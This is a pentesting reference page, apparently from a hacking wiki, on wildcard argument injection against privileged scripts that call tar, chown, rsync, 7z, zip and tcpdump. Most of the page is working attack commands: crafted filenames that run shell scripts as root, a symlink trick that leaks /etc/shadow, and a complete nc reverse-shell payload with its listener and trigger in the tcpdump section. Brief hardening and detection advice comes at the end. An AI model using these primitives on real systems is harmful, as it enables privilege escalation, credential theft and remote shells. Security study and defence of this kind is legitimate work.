Wildcards Spare Tricks

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Wildcard (aka glob) argument injection happens when a privileged script runs a Unix binary such as tar, chown, rsync, zip, 7z, … with an unquoted wildcard like *.
Since the shell expands the wildcard before executing the binary, an attacker who can create files in the working directory can craft filenames that begin with - so they are interpreted as options instead of data, effectively smuggling arbitrary flags or even commands.
This page collects the most useful primitives, recent research and modern detections for 2023-2025.

chown / chmod

You can copy the owner/group or the permission bits of an arbitrary file by abusing the --reference flag:

# attacker-controlled directory
touch "--reference=/root/secret``file"   # ← filename becomes an argument

When root later executes something like:

chown -R alice:alice *.php
chmod -R 644 *.php

--reference=/root/secret``file is injected, causing all matching files to inherit the ownership/permissions of /root/secret``file.

PoC & tool: wildpwn (combined attack).
See also the classic DefenseCode paper for details.

tar

GNU tar (Linux, *BSD, busybox-full)

Execute arbitrary commands by abusing the checkpoint feature:

# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

Once root runs e.g. tar -czf /root/backup.tgz *, shell.sh is executed as root.

bsdtar / macOS 14+

The default tar on recent macOS (based on libarchive) does not implement --checkpoint, but you can still achieve code-execution with the --use-compress-program flag that allows you to specify an external compressor.

# macOS example
touch "--use-compress-program=/bin/sh"

When a privileged script runs tar -cf backup.tar *, /bin/sh will be started.

rsync

rsync lets you override the remote shell or even the remote binary via command-line flags that start with -e or --rsync-path:

# attacker-controlled directory
touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh

If root later archives the directory with rsync -az * backup:/srv/, the injected flag spawns your shell on the remote side.

PoC: wildpwn (rsync mode).

7-Zip / 7z / 7za

Even when the privileged script defensively prefixes the wildcard with -- (to stop option parsing), the 7-Zip format supports file list files by prefixing the filename with @. Combining that with a symlink lets you exfiltrate arbitrary files:

# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow   root.txt      # file we want to read
touch @root.txt                  # tells 7z to use root.txt as file list

If root executes something like:

7za a /backup/`date +%F`.7z -t7z -snl -- *

7-Zip will attempt to read root.txt (→ /etc/shadow) as a file list and will bail out, printing the contents to stderr.

zip

zip supports the flag --unzip-command that is passed verbatim to the system shell when the archive will be tested:

zip result.zip files -T --unzip-command "sh -c id"

Inject the flag via a crafted filename and wait for the privileged backup script to call zip -T (test archive) on the resulting file.

Additional binaries vulnerable to wildcard injection (2023-2025 quick list)

The following commands have been abused in modern CTFs and real environments. The payload is always created as a filename inside a writable directory that will later be processed with a wildcard:

These primitives are less common than the tar/rsync/zip classics but worth checking when hunting.

tcpdump rotation hooks (-G/-W/-z): RCE via argv injection in wrappers

When a restricted shell or vendor wrapper builds a tcpdump command line by concatenating user-controlled fields (e.g., a "file name" parameter) without strict quoting/validation, you can smuggle extra tcpdump flags. The combo of -G (time-based rotation), -W (limit number of files), and -z <cmd> (post-rotate command) yields arbitrary command execution as the user running tcpdump (often root on appliances).

Preconditions:

• You can influence argv passed to tcpdump (e.g., via a wrapper like /debug/tcpdump --filter=... --file-name=<HERE>).
• The wrapper does not sanitize spaces or --prefixed tokens in the file name field.

Classic PoC (executes a reverse shell script from a writable path):

# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh

# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
  --file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"

# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234

Details:

• -G 1 -W 1 forces an immediate rotate after the first matching packet.
• -z <cmd> runs the post-rotate command once per rotation. Many builds execute <cmd> <savefile>. If <cmd> is a script/interpreter, ensure the argument handling matches your payload.

No-removable-media variants:

• If you have any other primitive to write files (e.g., a separate command wrapper that allows output redirection), drop your script into a known path and trigger -z /bin/sh /path/script.sh or -z /path/script.sh depending on platform semantics.
• Some vendor wrappers rotate to attacker-controllable locations. If you can influence the rotated path (symlink/directory traversal), you can steer -z to execute content you fully control without external media.

Hardening tips for vendors:

• Never pass user-controlled strings directly to tcpdump (or any tool) without strict allowlists. Quote and validate.
• Do not expose -z functionality in wrappers; run tcpdump with a fixed safe template and disallow extra flags entirely.
• Drop tcpdump privileges (cap_net_admin/cap_net_raw only) or run under a dedicated unprivileged user with AppArmor/SELinux confinement.

Detection & Hardening

1. Disable shell globbing in critical scripts: set -f (set -o noglob) prevents wildcard expansion.
2. Quote or escape arguments: tar -czf "$dst" -- * is not safe — prefer find . -type f -print0 | xargs -0 tar -czf "$dst".
3. Explicit paths: Use /var/www/html/*.log instead of * so attackers cannot create sibling files that start with -.
4. Least privilege: Run backup/maintenance jobs as an unprivileged service account instead of root whenever possible.
5. Monitoring: Elastic’s pre-built rule Potential Shell via Wildcard Injection looks for tar --checkpoint=*, rsync -e*, or zip --unzip-command immediately followed by a shell child process. The EQL query can be adapted for other EDRs.

References

• Elastic Security – Potential Shell via Wildcard Injection Detected rule (last updated 2025)
• Rutger Flohil – “macOS — Tar wildcard injection” (Dec 18 2024)
• GTFOBins – tcpdump
• FiberGateway GR241AG – Full Exploit Chain